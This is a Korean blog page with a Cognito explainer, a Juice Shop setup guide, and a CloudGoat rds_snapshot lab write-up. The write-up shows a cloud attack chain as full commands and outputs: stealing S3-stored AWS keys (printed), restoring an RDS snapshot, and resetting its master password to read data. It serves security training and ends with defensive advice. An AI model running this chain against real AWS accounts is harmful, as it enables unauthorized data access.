chon

[AWS] Amazon Cognito

chon29 — Mon, 13 Apr 2026 04:01:40 +0900

목차
1. Amazon Cognito란?
2. Cognito는 왜 생겼을까?
3. 현재 어떻게 사용되고 있는가?
4.Cognito의 구성요소
- User Pool vs Identity Pool 상세 설명

1. Amazon Cognito란

Amazon Cognito란 무엇입니까? - Amazon Cognito

이 페이지에 작업이 필요하다는 점을 알려 주셔서 감사합니다. 실망시켜 드려 죄송합니다. 잠깐 시간을 내어 설명서를 향상시킬 수 있는 방법에 대해 말씀해 주십시오.

docs.aws.amazon.com

Amazon Cognito는 웹 및 모바일 앱에 대한 인증(Authentication), 권한 부여(Authorization) 및 사용자 관리 기능을 빠르고 쉽게 구현할 수 있도록 돕는 AWS의 완전 관리형 서비스입니다.

쉽게 말해, 우리가 흔히 구현하는 웹이나 모바일 앱에 회원가입, 로그인, 비밀번호 찾기, 프로필 관리 등의 기능을 개발자가 직접 DB를 구축하고 복잡한 인증 로직을 짤 필요 없이 쉽고 안전하게 AWS에 맡기는 솔루션입니다. 구글, 메타, 아마존과 같은 소셜 ID 제공업체나 SAML 2.0, OpenID Connect를 사용하는 기업 ID 제공업체를 통한 로그인을 지원합니다.

2. Cognito는 왜 생겼을까?

클라우드 기반 앱이 폭발적으로 늘어나면서, 개발팀마다 반복적으로 인증 시스템을 직접 구축해야 했습니다. 이 과정에서 다음과 같은 고질적인 문제들이 있었습니다.

기존 방식의 문제점

회원가입/로그인/비밀번호 재설정 로직을 매번 처음부터 개발
비밀번호 암호화(Hashing/Salting), 토큰 관리, 세션 보안을 개발자가 직접 책임
소셜 로그인(OAuth) 연동 시 각 provider마다 별도 구현 필요
사용자 수 증가에 따른 인증 서버 스케일링 문제
AWS 리소스에 접근하기 위한 자격증명 관리 복잡성

AWS는 2014년 Cognito를 출시하면서 이런 문제들을 서비스 형태로 추상화했습니다. 인증 인프라를 직접 운영할 필요 없이, API 호출만으로 엔터프라이즈급 보안을 적용할 수 있게 된 것입니다.

Auth0 / Firebase Auth와의 차이

유사한 서비스로 Auth0, Firebase Authentication이 있습니다. Cognito의 차별점은 AWS 생태계와의 네이티브 통합입니다. IAM, S3, API Gateway, Lambda 등과 바로 연결되어, AWS 기반 서비스라면 Cognito가 사실상 최적의 선택입니다.

3. 현재 어떻게 사용되고 있는가?

Cognito는 현재 스타트업부터 대기업까지 다양한 규모의 서비스에서 핵심 인증 레이어로 활용되고 있습니다.

SPA / 모바일 앱

React, Vue, Flutter 앱의 로그인/회원가입을 Amplify SDK로 빠르게 연동

서버리스 아키텍처

API Gateway + Lambda 조합에서 JWT 토큰 기반 인증 자동 처리

B2B SaaS

SAML 연동으로 기업 고객의 SSO(Single Sign-On) 환경 지원

멀티플랫폼 서비스

웹/iOS/Android 공통 인증을 하나의 User Pool로 통합 관리

일반적인 인증 흐름

앱 (클라이언트) → Cognito User Pool → JWT 토큰 발급 → API Gateway → Lambda / 백엔드

4. Cognito의 구성요소

Cognito는 User Pool과 Identity Pool 두 가지 핵심 구성요소로 이루어져 있습니다. 이 둘을 혼동하는 경우가 많은데, 역할이 명확하게 다릅니다.

사용자 풀(User Pool)

누구인지 확인하는 인증(Authentication) 담당입니다. 회원 정보를 저장하고 로그인을 처리하는 사용자 디렉터리입니다. 앱 또는 API에 사용자를 인증하고 권한을 부여하려는 경우 사용자 풀을 생성합니다.

User Pool의 전체 인증 흐름

사용자가 앱에 접속하면 먼저 Cognito User Pool에 로그인 요청을 하게 됩니다. 이때 사용자는 자신의 username과 password를 입력하거나, Google이나 Facebook 같은 외부 ID 제공자를 통해 인증할 수 있습니다. 만약 외부 ID 제공자로 로그인하길 원하면, Cognito가 자동으로 해당 제공자의 로그인 페이지로 리디렉션해줍니다.

로그인 과정에서 추가 보안이 필요하다면 MFA(다중 인증) 같은 추가 챌린지가 발생할 수 있습니다. 예를 들어 서버에서 인증 코드를 사용자의 이메일이나 전화번호로 보내고, 사용자가 그 코드를 입력하는 식입니다. 모든 인증 과정이 완료되면 Cognito User Pool은 사용자에게 토큰(ID Token, Access Token, Refresh Token)을 발급합니다. 이 토큰을 통해 사용자는 앱의 API나 데이터베이스에 접근할 수 있게 되는 것입니다.

User Pool의 가장 큰 특징은 사용자 계정의 전체 생명주기를 관리한다는 점입니다. 가입, 로그인, 비밀번호 변경, 계정 복구 같은 모든 기능을 Cognito가 제공하므로, 개발자는 이런 복잡한 인증 로직을 직접 만들 필요가 없습니다.

회원가입/로그인
JWT 발급
소셜 로그인
MFA 지원
이메일 인증

자격 증명 풀(Identity Pool)

무엇을 할 수 있는가를 결정하는 인가(Authorization) 담당입니다. Identity Pool의 주 역할은 사용자에게 AWS 리소스에 직접 접근할 수 있는 임시 접근 권한을 부여하는 것입니다.

Identity Pool의 인가 흐름

작동 방식을 보면, 먼저 사용자가 앱을 통해 Identity Pool에 인증을 요청합니다. 이때 사용자는 Cognito User Pool에서 받은 토큰을 사용하거나, 외부 ID 제공자(Google, Facebook 등)의 인증 정보를 사용할 수 있습니다. Identity Pool은 이 정보가 정말 유효한지 검증한 후, AWS의 STS(Security Token Service)에 임시 자격증명을 요청합니다. STS는 사용자의 권한에 맞는 임시 AWS 자격증명(Access Key, Secret Key, Session Token)을 발급해주고, 이를 통해 사용자는 S3, DynamoDB 같은 AWS 서비스에 직접 접근할 수 있게 됩니다.

Identity Pool의 핵심은 장기 자격증명 대신 임시 자격증명을 사용한다는 점입니다. 이렇게 하면 보안이 훨씬 더 좋아집니다. 왜냐하면 임시 자격증명은 일정 시간이 지나면 자동으로 만료되기 때문입니다.

임시 IAM 자격증명
S3 직접 접근
비인증 사용자 지원
역할 기반 접근

User Pool과 Identity Pool은 목적이 다르기 때문에 상황에 맞게 선택해서 사용해야 합니다.

User Pool을 사용해야 할 때: 블로그, SNS, 전자상거래 같은 일반적인 웹 애플리케이션에서 사용자 로그인만 필요한 경우입니다. 사용자가 로그인하면 받은 토큰으로 백엔드 API를 호출해서 데이터를 가져오는 방식 → 신원 확인 및 회원 정보 관리

Identity Pool을 사용해야 할 때: 모바일 앱이 S3에 직접 사진을 업로드하거나, DynamoDB에서 데이터를 가져와야 하는 경우처럼 클라이언트가 AWS 리소스에 직접 접근해야 할 때입니다. → AWS 리소스에 대한 실제 권한 부여

① 사용자 로그인 → User Pool이 ID Token, Access Token 발급

② JWT를 Identity Pool에 전달 → 임시 IAM Credentials (Access Key/Secret Key) 반환

③ 자격증명으로 S3/DynamoDB 직접 호출

실제로 많은 애플리케이션에서는 User Pool과 Identity Pool을 함께 사용합니다. 먼저 User Pool로 사용자를 인증해서 토큰을 받고, 그 토큰을 Identity Pool에 제시해서 AWS 리소스 접근 권한을 얻는 방식입니다. 이렇게 하면 인증(Authentication)과 권한 부여(Authorization)가 깔끔하게 분리되어 보안성도 훨씬 높아집니다.

참고

OWASP Juice Shop 소개 및 환경 구축

chon29 — Wed, 25 Mar 2026 18:03:38 +0900

OWASP Juice Shop이란?

OWASP Juice Shop은 보안 학습을 위해 일부러 취약하게 만든 오픈소스 웹 애플리케이션이다. 단순한 웹 공격뿐만 아니라, 클라우드 인프라 취약점, 데이터베이스 탈취 등 현실적인 공격 시나리오가 존재한다. 최신 웹 기술인 Node.js, Express, Angular로 제작되어서, 옛날 방식의 취약점뿐만 아니라 요즘 실제로 쓰이는 최신 취약점들까지 골고루 실습해 볼 수 있다.

Juice Shop 환경 구축

GitHub - juice-shop/juice-shop: OWASP Juice Shop: Probably the most modern and sophisticated insecure web application

OWASP Juice Shop: Probably the most modern and sophisticated insecure web application - juice-shop/juice-shop

github.com

Docker Desktop 실행

Docker Desktop 실행 후 오른쪽 하단 트레이 아이콘(고래 모양)이 초록색으로 변할 때까지 기다려야 한다.

PowerShell 관리자

PowerShell을 관리자로 실행하고 아래 명령어를 입력한다.

docker version

Server: 부분의 정보가 제대로 출력되면 이제 준비가 된 것이다.

docker pull bkimminich/juice-shop

위 명령어를 입력하고 기다리면 Status: Downloaded newer image for bkimminich/juice-shop:latest 메시지가 출력되는데 설치가 정상적으로 완료된 것이다.

주스샵 실행

docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop

--rm: 컨테이너를 종료하면 남은 파일을 자동으로 삭제해 주는 옵션
-p 3000:3000: 내 컴퓨터의 3000번 포트와 도커의 3000번 포트를 연결하는 옵션

웹사이트 접속하기

위 명령어를 치고 나면 터미널에 로그가 올라오는데 서버가 돌아가기 시작했다는 신호다.

웹 브라우저를 열고 주소창에 http://localhost:3000 를 입력하면 된다.

정상적으로 설치가 되었고 접속도 잘 되는 것을 확인했다.

터미널 창에서 Ctrl + C를 누르면 서버가 안전하게 종료된다.

OWASP TOP 10 정리

OWASP Top 10 2025

OWASP(Open Web Application Security Project, 국제 웹 보안 표준기구)는 소프트웨어 보안 향상을 목적으로 활동하는 글로벌 비영리 재단이다. 웹 애플리케이션 보안에 관한 표준 가이드와 도구를 개발 및

chon29.tistory.com

Juice Shop은 OWASP Top 10에 포함된 대부분의 취약점을 포함하고 있어 해당 글을 보고 학습하면 도움이 될 것이다.

OWASP Juice Shop Write-up

GitHub - Whyiest/Juice-Shop-Write-up: Non-official write up for the Juice-Shop CTF

Non-official write up for the Juice-Shop CTF. Contribute to Whyiest/Juice-Shop-Write-up development by creating an account on GitHub.

github.com

[ CloudGoat | Medium ] RDS_snapshot 시나리오 실습

chon29 — Mon, 23 Mar 2026 15:22:31 +0900

cloudgoat/cloudgoat/scenarios/aws/rds_snapshot/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

Scenario Resources

1 VPC with: 내부망 진입 후 리소스 간 통신 채널로 활용
- EC2 x 1 : 부여된 IAM Role을 이용해 AWS API 호출 기지로 사용
- S3 x 1 : 방치된 access_key를 획득하여 새로운 신분(David) 확보
- RDS x 1 : 스냅샷 복원 및 비밀번호 변경을 통한 데이터 최종 탈취 대상
1 IAM Users : 권한 상승(Privilege Escalation)의 도구, 특정 서비스(RDS)에 특화된 위험 권한 행사

Scenario Start(s)

IAM User "David" : 침투된 EC2 인스턴스에 대한 SSH 접근 권한 보유

Scenario Goal(s)

RDS 스냅샷을 복원하여 내부에 숨겨진 FLAG 탈취

Summary

EC2 인스턴스에 접근 권한을 얻는 것부터 시작하여, 사용자는 EC2 인스턴스의 권한을 악용하여 S3에서 자격 증명을 탈취할 수 있습니다.

탈취한 자격 증명을 이용하면 공격자는 RDS 스냅샷 복원 권한을 획득하여 데이터베이스에 접근하고 플래그를 검색할 수 있습니다.

Exploitation Route(s)

1. 초기 정찰 및 내부 권한 분석

침투한 EC2 인스턴스에서 현재 어떤 권한을 가지고 있는지 파악하는 단계

신원 확인: aws sts get-caller-identity를 통해 현재 EC2가 cg-ec2-admin-role 역할을 수행 중임을 확인
권한 분석: 해당 역할의 인라인 정책(cg-ec2-admin-policy)을 분석한 결과:
- S3: 모든 리소스에 대한 전체 권한(s3:*) 보유.
- IAM: 정보 조회 권한(List*, Get*) 보유.
- 한계: 우리가 목표로 하는 RDS 관련 권한이 전혀 없음을 식별

2. S3 데이터 마이닝을 통한 자격 증명 탈취

부여된 S3 전체 권한을 이용해 내부의 민감 정보를 탐색

버킷 탐색: aws s3 ls로 cg-data-s3-bucket-[ID] 버킷을 발견
민감 파일 식별: 버킷 내부에서 access_keys.txt라는 결정적인 파일을 찾아냄
내용 탈취: aws s3 cp ... - 명령으로 파일 내부에 숨겨진 IAM 사용자 'David'의 Access Key와 Secret Key를 확보

3. 권한 상승 및 타겟(RDS) 분석

탈취한 David의 키를 사용하여 더 높은 권한으로 이동

프로필 등록: aws configure --profile david 명령으로 탈취한 키를 시스템에 등록
David 권한 검증: david 사용자에게 부여된 정책을 분석한 결과, rds:RestoreDBInstanceFromDBSnapshot 및 rds:ModifyDBInstance 권한이 있음을 확인. 이는 스냅샷을 복원하고 비밀번호를 바꿀 수 있는 치명적인 권한이다.

4. RDS 스냅샷 부활 및 하이재킹

박제된 스냅샷을 실제 인스턴스로 복원하여 데이터에 접근할 수 있는 상태로 만듦

스냅샷 식별: cg-rds-snapshot이라는 이름의 백업 이미지를 확인
데이터베이스 복원 (Restore):
- 주의: 스냅샷 자체는 조회가 불가능하므로 반드시 새로운 인스턴스로 생성해야 한다.

aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier attack-rds \
    --db-snapshot-identifier cg-rds-snapshot \
    --vpc-security-group-ids [SG-ID] \
    --profile david

비밀번호 강제 변경 (Modify): 원본 비밀번호를 모르더라도 ModifyDBInstance 권한을 이용해 attack1234!로 초기화하여 인증을 우회

5. 최종 목표 달성 (Flag Exfiltration)

부활시킨 데이터베이스 내부로 침투하여 데이터를 획득

엔드포인트 확보: describe-db-instances 명령어로 복원된 DB의 접속 주소를 따냄
DB 접속: mysql 클라이언트를 사용하여 탈취한 계정(cgadmin)과 변경한 비밀번호로 접속
데이터 조회: mydatabase 내의 flag 테이블을 쿼리하여 최종 플래그를 획득
- FLAG: flag{cg-secret-495624-205465}

Route Walkthrough - IAM 사용자 "David"

공격자는 탈취한 EC2 인스턴스에 접근 권한을 얻습니다.
공격자는 손상된 EC2 인스턴스의 S3에 접근하여 자격 증명을 탈취합니다.
공격자는 탈취한 자격 증명을 사용하여 AWS 관계형 데이터베이스 서비스(RDS)를 찾아 접근합니다.
공격자는 RDS 스냅샷이 존재하는지 확인합니다.
공격자는 RDS 스냅샷을 복원하고 고객 데이터가 포함된 데이터베이스를 탈취합니다(플래그).

실습 환경 구축

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create RDS_snapshot

ec2_IP = "44.214.4.201"
ssh_command = "ssh -i cgidc7a27ntzqx/cloudgoat ubuntu@44.214.4.201"

#파일 저장 경로
/home/xxx/.local/share/pipx/venvs/cloudgoat/lib/python3.12/site-packages/cloudgoat/rds_snapshot_cgidxicskych5p/start.txt

배포가 완료되면 터미널 출력 결과에서 공격의 출발점이 되는 EC2 인바운드 IP와 SSH 접속 명령어를 확인하여 기록한다.

EC2 IP 분석

주어진 IP의 주소로 웹을 접속하면 사이트에 연결할 수 없다고 뜬다.

보안그룹에 로컬 호스트 IP주소의 인바운드가 허용되어 있지 않다는 것을 알 수 있다.

SSH 접속을 위한 환경 설정

CloudGoat가 생성한 SSH 개인키는 보안상 매우 민감한 파일이다. 리눅스 환경에서는 키 파일의 권한이 너무 개방되어 있으면 SSH 접속을 거부하므로, 소유자만 읽을 수 있도록 권한을 수정해야 한다.

# 시나리오 디렉토리로 이동
cd /home/xxx/.local/share/pipx/venvs/cloudgoat/lib/python3.12/site-packages/cloudgoat/rds_snapshot_cgidc7a27ntzqx

# SSH 키 권한 변경
chmod 400 cloudgoat

타겟 인스턴스 침투

이제 준비된 키를 사용하여 외부에서 접근 가능한 타겟 EC2 인스턴스에 접속한다.

# SSH 접속 실행
ssh -i cloudgoat ubuntu@44.214.4.201

EC2 인스턴스 접속에 성공하면 ubuntu@ip-10-0-1-40:~$로 터미널이 바뀐다. 접속에 성공했다면, 가장 먼저 이 EC2 인스턴스가 어떤 권한(IAM Role)을 부여받았는지 확인해야 한다.

유저 및 정책 확인

사용자 확인

aws sts get-caller-identity

위 명령어를 사용하여 사용자 정보를 확인해보자.

{
    "UserId": "AROAXYTAZH33KCAQM3OCV:i-032583aacba79a48a",
    "Account": "xxxxxxxxxxxx",
    "Arn": "arn:aws:sts::xxxxxxxxxxxx:assumed-role/cg-ec2-admin-role/i-032583aacba79a48a"
}

Role name : cg-ec2-admin-role

현재 이 인스턴스는 cg-ec2-admin-role이라는 역할이 할당되어 있다. 이제 이 역할에 어떤 정책(Policy)이 연결되어 있는지 분석할 차례다.

연결된 정책(Attached Policies) 목록 보기

# 역할에 포함된 인라인 정책 이름 조회
aws iam list-role-policies --role-name cg-ec2-admin-role

{
    "PolicyNames": [
        "cg-ec2-admin-policy"
    ]
}

cg-ec2-admin-policy라는 이름의 정책이 식별되었다. 정책 이름을 알아냈으면 정책의 내용을 살펴보자.

정책 상세 내용(JSON) 분석

식별된 정책의 실제 권한 정의문(Policy Document)을 가져와 허용된 행위(Action)와 대상(Resource)을 분석한다.

# 정책 JSON 확인
aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy

{
    "RoleName": "cg-ec2-admin-role",
    "PolicyName": "cg-ec2-admin-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "s3:*",
                    "iam:List*",
                    "iam:Get*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            }
        ]
    }
}

Effect: Allow라고 되어 있어야 내가 쓸 수 있는 권한
Action:
- s3 : * ; 모든 S3 버킷에 대해 읽고, 쓰고, 지우는 풀 권한
- iam:List*, iam:Get* ; IAM의 모든 정보를 조회 가능
Resource: 내가 그 행동을 할 수 있는 대상인데 *로 모든 곳에 다 할 수 있음

우리가 찾고 있는 건 RDS 스냅샷인데, 현재 이 정책에는 rds 관련 권한이 없다. S3를 분석해보거나 IAM 정보를 더 캐내서, RDS 권한을 찾아봐야겠다.

S3 분석

S3 버킷 목록 확인

먼저 현재 권한으로 접근 가능한 모든 S3 버킷의 목록을 조회한다.

aws s3 ls

2026-03-23 04:24:14 cg-data-s3-bucket-cgidc7a27ntzqx

시나리오 ID(cgidc7a27ntzqx)가 포함된 데이터 저장용 버킷이 식별됐다.

버킷 내용 확인

aws s3 ls s3://[버킷이름] --recursive

2026-03-23 04:24:20         86 access_keys.txt

식별된 버킷 내부에 어떤 파일들이 들어있는지 해당 버킷 내부를 확인해보니 access_keys.txt라는 문서가 존재하는 것을 확인할 수 있다.

파일 내용 확인하기

aws s3 cp s3://cg-data-s3-bucket-cgidc7a27ntzqx/access_keys.txt -

S3에 있는 파일 내용을 터미널에서 바로 확인해 보자. 명령어 끝에 붙은 -는 복사 대상을 파일 시스템이 아닌 표준 출력으로 지정하겠다는 의미이다. 즉, 파일을 다운로드하지 않고 터미널 화면에 바로 출력하겠다는 뜻이다.

cat 명령어와 비슷하게 aws s3 cp를 활용해 내용을 출력할 수 있다.

추출된 데이터 내용

Access Key: AKIAXYTAZH33AVUYIX5Z, Secret Key: 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

ccess_keys.txt 파일 내용을 확인해보면 특정 IAM 사용자의 자격증명인 Access key와 Secret key 가 나온다.

* AWS 자격 증명은 절대로 S3와 같은 공유 저장소에 평문으로 저장되어서는 안 됨!

탈취한 유저 정책 및 권한 확인

획득한 자격 증명을 시스템에 등록하고, 새로운 신분(David)이 가진 권한을 분석하여 최종 목표인 RDS에 접근할 수 있는 경로를 설계하는 단계

자격 증명 등록 및 프로필 생성

aws configure --profile david

# AWS Access Key ID [None]: (파일에서 나온 ID 입력)
# AWS Secret Access Key [None]: (파일에서 나온 Secret Key 입력)
# Default region name [None]: us-east-1
# Default output format [None]: json

기본 EC2 역할(cg-ec2-admin-role)은 RDS 제어 권한이 없으므로, S3에서 탈취한 키를 사용하여 별도의 AWS CLI 프로필을 생성한다. 프로필을 사용하면 기존 권한을 유지하면서도 새로운 신분으로 명령을 내릴 수 있다.

David의 정책 및 권한 조사

새로운 신분인 david가 실제로 어떤 일을 할 수 있는지 정책 목록을 열거한다. 이 사용자의 실제 이름이 시나리오 ID와 조합된 cg-rds-instance-user-cgidc7a27ntzqx임을 사전에 파악한 후 조회를 수행한다.

# david에게 어떤 정책이 있는지 확인
aws iam list-user-policies \
  --user-name cg-rds-instance-user-cgidc7a27ntzqx \
  --profile david
  
{
    "PolicyNames": [
        "cg-david-policy"
    ]
}

[조회 결과]

PolicyName: cg-david-policy (인라인 정책 식별)

정책 JSON 상세 분석

# 'cg-david-policy'라는 정책이 나온다면 그 내용을 확인
aws iam get-user-policy \
  --user-name cg-rds-instance-user-cgidc7a27ntzqx \
  --policy-name cg-david-policy \
  --profile david
  
  {
    "UserName": "cg-rds-instance-user-cgidc7a27ntzqx",
    "PolicyName": "cg-david-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "rds:DescribeDBInstances",
                    "rds:AddTagsToResource",
                    "rds:DescribeDBSnapshots",
                    "rds:RestoreDBInstanceFromDBSnapshot",
                    "rds:ModifyDBInstance",
                    "iam:Get*",
                    "iam:List*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            }
        ]
    }
}

Action 리스트에 rds:RestoreDBInstanceFromDBSnapshot과 rds:ModifyDBInstance가 들어있는 것을 확인했다.

rds:RestoreDBInstanceFromDBSnapshot: 기존 DB의 백업본(Snapshot)을 새로운 DB 인스턴스로 복원할 수 있는 권한
rds:ModifyDBInstance: 생성된 DB의 설정을 변경할 수 있으며, 특히 마스터 비밀번호를 강제 초기화할 수 있어 매우 위험

타겟 인프라 현황 파악

공격용 DB를 복원하기 전, 현재 운영 중인 원본 DB의 네트워크 설정을 파악하여 복제본이 정상적으로 작동할 수 있는 환경(VPC, Subnet, Security Group)을 분석한다.

# 기존 DB 인스턴스의 네트워크 설정 확인
aws rds describe-db-instances --profile david

{
        "DBInstanceIdentifier": "cg-rds",
        "DBInstanceClass": "db.t3.micro",
        "Engine": "mysql",
        "DBInstanceStatus": "available",
        "MasterUsername": "cgadmin",
        "Endpoint": {
            "Address": "cg-rds.cuhuwuaisedu.us-east-1.rds.amazonaws.com",
            "Port": 3306,
            "HostedZoneId": "Z2R2ITUGPM61AM"
}

[식별된 타겟 정보]

DB Instance ID: cg-rds
Engine: mysql (포트 3306)
Master Username: cgadmin
VPC Security Group: sg-003294734cba3dc7e (인바운드 규칙 확인 필요)
DB Subnet Group: cg-db-subnet-group

RDS 스냅샷 복원

원본 데이터베이스(cg-rds)에 직접 접근할 수 없는 상황에서, 공격자는 백업본인 스냅샷을 이용해 동일한 환경을 복제하고 관리자 권한을 강제로 획득하는 공격을 수행하는 단계

RDS 스냅샷은?

Amazon EBS 스냅샷이라는 특정 시점 사본을 만들어 Amazon EBS 볼륨의 데이터를 백업할 수 있다. 스냅샷은 증분 백업 방식을 사용한다. 즉, 볼륨에서 가장 최근 스냅샷 이후 변경된 블록만 저장된다. 그러면 스냅샷을 만드는 데 필요한 시간이 최소화되며 데이터를 복제하지 않으므로 스토리지 비용이 절약된다. 원본 DB에 대한 접속 권한이 없더라도, 스냅샷 복원 권한만 있다면 데이터를 그대로 복사해 새로운 서버를 만들고 그 안의 데이터를 탈취할 수 있다.

타겟 스냅샷 탐색

새로 등록한 david 프로필을 사용하여 계정 내부에 존재하는 스냅샷 목록을 조회한다.

# 새로운 프로필을 사용해 스냅샷 목록 조회
aws rds describe-db-snapshots --profile david

{
    "DBSnapshots": [
        {
            "DBSnapshotIdentifier": "cg-rds-snapshot",
            "DBInstanceIdentifier": "cg-rds",
            "SnapshotCreateTime": "2026-03-23T04:39:19.759Z",
            "Engine": "mysql",
            "AllocatedStorage": 20,
            "Status": "available",
            "Port": 3306,
            "AvailabilityZone": "us-east-1b",
            "VpcId": "vpc-0501882635025e0f3",
            "InstanceCreateTime": "2026-03-23T04:28:18.827Z",
            "MasterUsername": "cgadmin",
            "EngineVersion": "5.7.44-rds.20251212",
            "LicenseModel": "general-public-license",
            "SnapshotType": "manual",
            "StorageThroughput": 0,
            "OptionGroupName": "default:mysql-5-7",
            "PercentProgress": 100,
            "StorageType": "gp2",
            "Encrypted": false,
            "StorageEncryptionType": "none",
            "BackupRetentionPeriod": 0,
            "PreferredBackupWindow": "07:09-07:39",
            "DBSnapshotArn": "arn:aws:rds:us-east-1:xxxxxxxxxxxx:snapshot:cg-rds-snapshot",
            "IAMDatabaseAuthenticationEnabled": false,
            "DbiResourceId": "db-MSHNPJCKRQUTF2DDHEH2E6NSBU",
            "TagList": [
                {
                    "Key": "Name",
                    "Value": "cg-rds_snapshot-cgidc7a27ntzqx"
                },
                {
                    "Key": "Scenario",
                    "Value": "rds_snapshot"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                }
            ],
            "SnapshotTarget": "region",
            "OriginalSnapshotCreateTime": "2026-03-23T04:39:19.759Z",
            "MultiTenant": false,
            "DedicatedLogVolume": false
        }
    ]
}

[핵심 정보 추출]

DBSnapshotIdentifier: cg-rds-snapshot (복원 타겟)
MasterUsername: cgadmin (접속 시 사용할 계정명 확인)
Status: available (복원 가능한 상태)
스냅샷 이름 : cg-rds_snapshot-cgidc7a27ntzqx

스냅샷 정보 다시 확인

 aws rds describe-db-snapshots --db-instance-identifier cg-rds --profile david

"DBSnapshotIdentifier": "cg-rds-snapshot",
"MasterUsername": "cgadmin"

스냅샷 이름(cg-rds-snapshot)과 마스터 사용자(cgadmin) 정보를 확인할 수 있다.

공격용 DB 복원

#Restore the RDS snapshot
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier attack-rds \
    --db-snapshot-identifier cg-rds-snapshot \
    --db-subnet-group-name cg-db-subnet-group \
    --vpc-security-group-ids sg-003294734cba3dc7e \
    --profile david

식별된 스냅샷을 기반으로 공격자가 제어할 수 있는 새로운 DB 인스턴스(attack-rds)를 생성한다. 이때, 기존 DB 조사 단계에서 획득한 네트워크 설정(Subnet Group, Security Group)을 그대로 주입하여 정상 작동을 보장한다.

상태 모니터링 및 대기

DB 인스턴스 생성은 물리적인 시간이 소요되는 작업이다. 명령어가 성공하면 긴 JSON 결과가 출력될 것이다.

aws rds describe-db-instances \
    --db-instance-identifier attack-rds \
    --query "DBInstances[0].DBInstanceStatus" \
    --profile david

--query 옵션을 활용하여 상태가 available이 될 때까지 모니터링한다.

[ 명령어 옵션 ]

DBInstances[0]: 여러 대의 DB 중 첫 번째 것(우리가 만든 것)을 선택
.Endpoint.Address: 그 안에서 주소 정보만 빼오기

비밀번호 하이재킹

복원된 DB는 원본의 비밀번호를 그대로 가지고 있어 여전히 접속이 불가능하다. 하지만 David가 가진 rds:ModifyDBInstance 권한을 사용해 마스터 비밀번호를 즉시 변경함으로써 인증을 우회할 수 있다. 위의 명령어를 입력하고 상태가 "available"로 표시되면, 즉시 아래 명령어를 입력하여 우리가 아는 비밀번호로 바꾼다,

#Modify the RDS instance password
aws rds modify-db-instance \
    --db-instance-identifier attack-rds \
    --master-user-password attack1234! \
    --apply-immediately \
    --profile david

--apply-immediately 옵션을 사용하여 다음 유지 관리 기간까지 기다리지 않고 즉시 설정을 반영한다.

비밀번호를 변경하면 잠시 상태가 modifying으로 바뀌었다가 다시 available이 된다.

접속 정보(Endpoint) 추출

데이터 탈취를 위해 생성된 DB의 접속 주소(Endpoint)를 확보한다.

# MySQL 접속을 위한 엔드포인트 주소만 추출
aws rds describe-db-instances \
    --db-instance-identifier attack-rds \
    --query "DBInstances[0].Endpoint.Address" \
    --output text \
    --profile david

attack-rds.[고유ID].us-east-1.rds.amazonaws.com가 나온다.

데이터베이스 침투 및 FLAG 탈취

모든 권한 상승과 인프라 복제 과정이 끝났다. 이제 공격자는 직접 생성하고 비밀번호를 탈취한 DB 서버에 접속하여 최종 목적물인 민감 데이터를 추출하면 된다.

MySQL 접속

방금 확인된 엔드포인트 주소를 사용하여 접속한다.

mysql -h attack-rds.cuhuwuaisedu.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!

데이터베이스 탐색

이전 단계에서 확보한 엔드포인트(Endpoint) 주소와 하이재킹한 비밀번호를 사용하여 MySQL 클라이언트로 접속한다. 성공적으로 접속하면 mysql> 프롬프트가 활성화 된다.

스키마 및 데이터 열거

mysql> 프롬프트가 뜨면, 아래 명령어를 하나씩 입력하여 숨겨진 데이터를 찾는다.

-- 1. 가용한 데이터베이스 목록 조회
show databases;

-- 2. 분석 결과 'mydatabase'가 실제 서비스 데이터를 담고 있는 것으로 판단되어 선택
use mydatabase;

-- 3. 선택된 DB 내의 모든 테이블 목록 확인
show tables;

일반적인 운영 환경이라면 users, orders, credit_cards 등의 테이블이 타겟이 되지만, 이 시나리오에서는 명시적인 flag 테이블이 공격자의 최종 목표다.

최종 데이터 탈취

-- flag 테이블의 모든 컬럼과 데이터 조회
select * from flag;

식별된 테이블로부터 모든 레코드를 조회하여 플래그를 획득한다.

실습이 종료된 후, 공격 과정에서 생성한 attack-rds 인스턴스는 CloudGoat의 자동 삭제(destroy) 범위에 포함되지 않는다. 불필요한 과금과 흔적 방지를 위해 관리자 권한으로 수동 삭제를 수행해야 한다.

4학년 졸업반이시니, 이제는 단순히 '패치한다'를 넘어 전략적인 방어 계층(Defense in Depth) 관점에서 이 시나리오를 박살 내는 방법을 정리해 보겠습니다.

이번 공격은 **'자격 증명 노출'**에서 시작해 **'과도한 권한'**을 타고 **'백업 데이터'**까지 번진 전형적인 연쇄 폭발이었습니다. 이를 막기 위한 4단계 방어 전략입니다.

Defensive Architecture

1. 비밀번호 및 키 관리 (Secret Management)

가장 근본적인 원인은 S3 내 access_keys.txt 방치다. 클라우드 네이티브 환경에서는 암호는 저장하는 것이 아니라, 위임하는 것이다.

IAM Role 활용: EC2 인스턴스에 정적 키를 저장하는 대신, 인스턴스 프로필(Instance Profile)을 부여하여 임시 자격 증명을 자동 갱신하게 설정
Secrets Manager: 어플리케이션에 필요한 DB 비밀번호 등은 S3가 아닌 AWS Secrets Manager에 저장하고, 호출 시점에만 메모리에 로드하여 노출 가능성을 최소화

2. 권한의 최소화: IAM 정책 최적화 (Least Privilege)

EC2와 David 유저에게 부여된 Action: *와 Resource: *는 공격자에게 모든 권한을 준 것이다.

[Before] 취약한 정책

{
    "Action": ["s3:*", "rds:*"],
    "Resource": "*"
}

[After] 방어된 정책

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": ["s3:GetObject"], 
            "Resource": "arn:aws:s3:::specific-bucket-name/*" // 특정 버킷의 읽기만 허용
        },
        {
            "Effect": "Allow",
